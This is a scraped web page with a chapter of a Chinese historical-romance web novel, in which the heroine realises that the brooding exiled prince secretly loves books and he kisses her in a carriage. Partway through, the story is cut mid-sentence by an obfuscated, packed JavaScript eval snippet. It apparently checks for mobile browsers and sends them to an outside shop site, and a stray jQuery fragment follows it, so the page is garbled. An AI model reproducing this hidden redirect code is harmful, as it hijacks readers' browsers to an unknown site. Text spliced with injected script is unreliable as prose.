40. 他的喜好
作品:《重回反派少年时》 前世,奚映雪也曾尝试窥探过凌昱的喜好。
世人皆传,凌昱虽出身皇家,却因幼年冷宫遭遇,性情叛逆乖张,数十年隐忍潜伏,一朝爆发,向所有曾经加害过他的皇族宗亲复仇雪恨。
他的性情,已经在仇恨中扭曲。
在众人眼里,燕王嗜血成性、阴鸷狠戾,屠戮皇子,杀诸王,是个浑身沾满戾气、心志扭曲的疯王。
他唯一的喜好,就是杀人。
奚映雪亦深以为然。她曾笃定,凌昱能以雷霆之势夺得江山,全凭一身绝世武功与麾下神秘的强兵悍将,他武力高强、杀伐果断,想来毕生心血都耗费在了武道之上。
可直至前几日在河源祠堂,见他对五行八卦、星象典籍如数家珍,才惊觉自己错得离谱。
他的文学悟性居然这般出众,出众到能无师自通,掌握诸多深奥莫测的知识。
所以,那些无人问津的冷宫时光里,他不仅是在练武,也是在看书吗?
他......喜欢读书?
大夏王朝素来尚武,可凌昱这般天资聪颖、骨秀神清之辈,本应与太子凌瑾瑜一般,承文人大家的悉心教诲,习得一身治国安邦的真才实学,名正言顺地角逐储位,成就一番宏图伟业。
可他却因身负异族血脉,落得此境遇。
天妒英才,真是......可惜。
心中思绪万千,奚映雪一时之间竟不知该从何说起。
今世,她依旧想摸清他的喜好,意图投其所好。在将军府时,她曾用珍馐美味、兵器、珠宝等物件儿试探多次,从未有结果。
而现在,看着眼前这个沉默淡漠却意外学识渊博的少年,她好似抓住了一些片段:
脑海中,突然闪过前世凌昱王府中的密室——密室设在书房深处。
那间书房,书籍云集、海纳百川,包罗万象,从经史子集到文学法案,从兵法谋略到历史典籍,应有尽有。
以至于,前世被困燕王府时,她常常去那里找书消磨时光。
她渐渐发现,凌昱待在书房的时间,远比在演武场要多得多,她原本以为他是去那间杀人密室,现在看,可能更多是单纯待在书房读书。
以及,前世那些聒噪不休的文官,动辄直言进谏,按照凌昱的性子,该是早就拉走惩戒了,但他很少会对那些老夫子做什么,顶多是气急了,把人挂在房梁上吓唬一番。
那时她从未多想,只觉得这样吓人也很过分。
也许,年少事前,他也曾在紫宸院挑灯夜读,也曾渴望做一位救世济民的好皇子、好皇帝,却在一夜之间都变了。然而,已经形成的习惯,却变不了。
谁都不知道,这位异族皇子,也曾和太子一样,接受过最好的教导。
但是,现在——
“凌昱,其实,你很喜欢看书,对不对!”她轻快地朝他说出这句话,然而内心有些心疼。
凌昱面上有着细微的错愕,一时间分不清奚映雪突然这般说话是为什么。
“你没有那么喜欢武功,你最喜欢的,是看书学习,对不对?”温暖的声音带着笑意。
奚映雪眉眼弯弯地看向这个少年。
马车内光线昏暗,少年狭长的眼眸一如既往地深沉、幽静,平静得像是暴雨前夕的大海,历经这么多风雨磋磨,也无人见他抱怨半句、夸赞一句,吐露过喜欢与渴望。
前世也是如此,他从未抱怨,也从未低头,也从未言喜欢。
他把一颗心深深地藏在这副金刚铁骨般的外壳之下,藏在他冷漠嗤笑的言语里,叫人再摸不透他的内心。
这哪里是阴晴不定、疏离冷漠,分明是一颗亟待温暖、防御的、脆弱的心。
凌昱长久未言。
车内寂静。
奚映雪见状,索性从软榻上拿起一本方才翻看的《论五行》,纤长手指将那本书放到少年的面前,“我也喜欢看书,但是总是不明白,以后,你教我这些晦涩的书本知识,好不好?”
少女一双琉璃般的眸子澄澈而真诚,濡慕的表情看着他,那声音轻柔婉转,在这逼仄温柔的车厢里缓缓流淌。
凌昱平静的表情逐渐皲裂。
快忘记了,他也曾同太子一起学习治国德行之道。
所学丰富,包含各种儒家经典、书法等基础知识,皇子需得掌握如何管理国家的能力,还必须接受民本思想的教育,秉政劳民。
那时的他,本也是心怀百姓。总是想着,哪怕日后不是储君,成为了藩王,也要在自己的封地宽政爱民、造福一方。
可一场变故来得突然,原来,所有的培养,所有的好意,都是一场精心策划的计划,世界在一瞬间全部变了。
甚至,这只是一场局。连他往日最敬佩的师父,也就是当今宰相,张言朝,也在他最艰难、最绝望的时候,选择了明哲保身,都未曾站出来说过一句话。
镜花水月、转瞬即逝。
他对那些所谓的皇族宗亲、文人墨客恨之入骨。
但没人知道,他曾经是多么尊敬宫中的老师,多么痴迷于那些治国之道,他学得又快又好,深得张太傅喜爱,常常被太傅私下叫去,额外传授理政治国的精髓。
以至于,他如今看到张太傅,仍是酸涩难言。
或许他仍然尊敬这位老师。
或许他仍然喜欢读书,所以在冷宫挑灯夜读。
没人知道这些过去。
也没有人想了解。怎么会有人想了解一个已经失势、身怀异族血脉的皇子呢?
但奚映雪发现了。他什么都没说,她就读懂了他。
他不知道如何形容这种理解,就好像他独自一人在茫茫冰雪天地中,踽踽独行数十年,受尽寒凉与孤独,却突然有人发现了他,伸出温暖的手,紧紧握住他早已冻得冰冷的双手。
暖意,一点点蔓延到他的心底。
一股陌生的感动,倏地如潮水般席卷了他。
正是因为这种奇异的感动,让他整个人有些许怔顿,让他慌乱,又慢慢地心跳加快,甚至逐渐发烫。
奚映雪见他依旧沉默不语,只当他是不愿,不自觉地撒起娇来,她自己都没意识到。
她捧着那本《论五行》,指尖指着其中一页:“这里我就看不懂,这写的也太复杂了,什么叫‘若孚于剥,则有厉’......”
正准备继续絮絮叨叨地询问,忽地有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291012|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一双温热的唇覆上来,将她的声音都给噎了进去。
震惊之下,手中书本也滚落在地上,发出不大不小的声响。
凌昱不知何时低下了头,凑近她,吻上了她的唇。
不同于以往前两次的事出有因,这次完全没有任何预兆,他单手握着她的后脑,粗鲁地、近乎蛮力地吻着她。
强势到,她甚至来不及再发出一个音节。
奚映雪完全愣住了。
然而不过片刻,她知道自己猜对了,甚至,又从这个来势汹汹的亲吻里,感受到一丝日记月累的悲怆,让她浑身泛起泛起密密麻麻的痛。
真的好凶,比前几次都要凶,如此深刻,似乎要将这过多的、汹涌的情绪,通过嘴唇传递给她。
奚映雪眼中逐渐溢出泪水,居然就这样想起前世的她。
他很像,前世的她。
凌昱贵为皇子,本该拥有很多很多,不仅是锦衣玉食,研习修业,还有高贵的身份、自己的宫殿、无数的随从,这些都该是一个普通的皇子拥有的东西。
更别提一个简简单单的学习。
人生最难开解之事,就在于本来拥有,却被无情夺去,那种从云端跌落泥潭的绝望,那种被至亲背叛的痛苦,奚映雪深有体会。
奚家倒台后,被太子背叛,她甚至都反应不过来,难以接受到无力,一直劝自己那是太子的保护。
这可笑的保护。
她不像凌昱这样果敢,与皇族断了干净。她也曾试图抗争、劝诫自己,但更多时候,一颗活着的真心逐渐下坠、沉入深海,痛苦难言。
这些感情,为什么不能真心真意?
为什么要有背叛,为什么最亲近的人伤我们最深?
第一次,她主动仰起头,回应他。
感受到回馈,凌昱只觉得内心既复杂又满足,少女的发十分松软,蹭着他的下巴,阵阵酥痒,顺着他的骨头,一点点窜到他的心尖上。
近日,他看见奚映雪时,脑中会莫名想起了那日亲她时,尝到的甜味。
但是,说到底,奚映雪从未表现出她喜欢他,只是利用。
早已封闭的心,如果打开,怕是再也无法承受那样的打击与背叛,就算这样,还是不自觉的想接近她、接近温暖。
临行前少女的婚约,她对太子、世子的态度,又让凌昱内心诡异地泛起了丝丝紧张,如果再次亲近,会不会看到她刻意伪装的表情。
他不想看见那种眼神。
现在,他又被诱惑了,一句话,又让他生了想要亲吻她的欲望,并且实在难以克制——
思及此,他慢慢地克制他的动作,噬咬尽量变得轻柔。
一个深刻的吻结束,双方的唇齿之间也都留有彼此的气息。
奚映雪胸脯依旧起伏不定。
“小姐,快到容城了,要下车休息吗?”马车外,十三也许听见书本滚落的声音,察觉到车厢内的异样,担心一般开口询问。
奚映雪平息了下情绪,正准备开口说明,凌昱却先她一步开口——
“你可以拒绝,或向你的暗卫求救,”凌昱气息靠近,低哑道:“我会下车。”你没必要做到如此地步。

